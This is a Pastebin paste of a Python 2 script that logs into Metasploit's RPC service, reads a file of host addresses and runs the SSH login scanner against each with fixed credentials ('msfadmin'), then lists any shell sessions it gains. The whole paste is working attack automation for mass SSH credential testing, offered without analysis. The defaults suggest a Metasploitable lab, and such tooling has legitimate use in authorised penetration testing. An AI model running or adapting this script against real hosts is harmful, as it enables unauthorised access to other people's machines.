Advertisement
Guest User

Untitled

a guest
May 30th, 2017
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.14 KB | None | 0 0
  1. #!/usr/bin/python2
  2.  
  3. import msgpack, urllib2, time
  4.  
  5. # User parameters
  6. HOSTS_FILE = "ssh_hosts.txt"
  7. USERNAME = "msfadmin"
  8. PASSWORD = "msfadmin"
  9.  
  10.  
  11. class MsfRpcCore:
  12.     # Initialize common variables, perform MSF login, and create a console
  13.     def __init__(self, host='127.0.0.1', port=55552, user='msf', password='pa55w0rd'):
  14.         self.host = host
  15.         self.port = port
  16.         self.user = user
  17.         self.password = password
  18.         self.auth_token = self.login()
  19.         self.console_id = self.create_console()
  20.  
  21.     # Used to generate a template of an MSF RPC request
  22.  
  23.     def get_vanilla_request(self):
  24.         base_url = "http://" + self.host + ":" + str(self.port) + "/api/"
  25.         base_request = urllib2.Request(base_url)
  26.         base_request.add_header('Content-type', 'binary/message-pack')
  27.         return base_request
  28.  
  29.     # Perform a login to MSF, return the auth_token needed for subsequent requests
  30.     def login(self):
  31.         options = ['auth.login', self.user, self.password]
  32.         response = self.run(params=options, auth=False, console=False)
  33.         token = None
  34.         if response.get('result') == 'success':
  35.             print "[+] Authentication successful"
  36.             token = response.get('token')
  37.         else:
  38.             print "[-] Authentication failed"
  39.             exit()
  40.         return token
  41.  
  42.     # Function to create an MSF console.Returns console ID needed for subsequent requests
  43.     def create_console(self):
  44.         options = ['console.create']
  45.         response = self.run(params=options, console=False)
  46.         if response.get('id') is None:
  47.             print "[-] Unable to create console"
  48.             exit()
  49.         print "[+] Console %s created" % response.get('id')
  50.         return response.get('id')
  51.  
  52.     # Run an MSF command. Params list includes method name and MSF command
  53.     # Auth is a boolean indicating if the method requires an auth token
  54.     # Console is a boolean indicating if the method requires a console
  55.     # Returns an unpacked response which is a dictionary of dictionaries
  56.     def run(self, params=[], auth=True, console=True):
  57.         if auth == True and not self.auth_token:
  58.             print "[-] You must first log in to MSF"
  59.             exit()
  60.         if console == True and not self.console_id:
  61.             print "[-] Console required for command"
  62.             return None
  63.         if auth:
  64.             params.insert(1, self.auth_token)
  65.         if console:
  66.             params.insert(2, self.console_id)
  67.         request = self.get_vanilla_request()
  68.         query_params = msgpack.packb(params)
  69.         request.add_data(query_params)
  70.         response = msgpack.unpackb(urllib2.urlopen(request).read())
  71.         if params[0] == 'console.write':
  72.             time.sleep(1)
  73.             while True:
  74.                 response = self.run(params=['console.read'], auth=True) #hier
  75.                 if response['busy'] == True:
  76.                     time.sleep(1)
  77.                     continue
  78.                 break
  79.         return response
  80.  
  81.  
  82. if __name__ == '__main__':
  83.     # Read in file of host IPs
  84.     infile = open(HOSTS_FILE, 'r')
  85.     hosts = infile.readlines()
  86.     infile.close()
  87.     # Setup object, perform login, create console
  88.     # Loop through each host running SSH login against it
  89.     msfrpc = MsfRpcCore()
  90.     for host in hosts:
  91.         host = host.strip()
  92.         cmd = """ use auxiliary/scanner/ssh/ssh_login set RHOSTS %s set USERNAME %s set PASSWORD %s set BLANK_PASSWORDS false set USER_AS_PASS false exploit """ % (host, USERNAME, PASSWORD)
  93.         print "[!] Testing host %s" % host
  94.         response = msfrpc.run(params=['console.write', cmd], auth=True)
  95.         # Retrieve sessions
  96.         response = msfrpc.run(params=['session.list'], console=False)
  97.         if len(response) > 0:
  98.             print "[+] Listing sessions..."
  99.             print "%-15s%s" % ("Session ID", "Target")
  100.             for sess_id in response:
  101.                 print "%-15s%s@%s" % (sess_id, response[sess_id].get('username'), response[sess_id].get('target_host'))
  102.         else:
  103.             print "[-] No sessions found"
  104.         # Cleanup
  105.         msfrpc.run(params=['console.destroy'])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement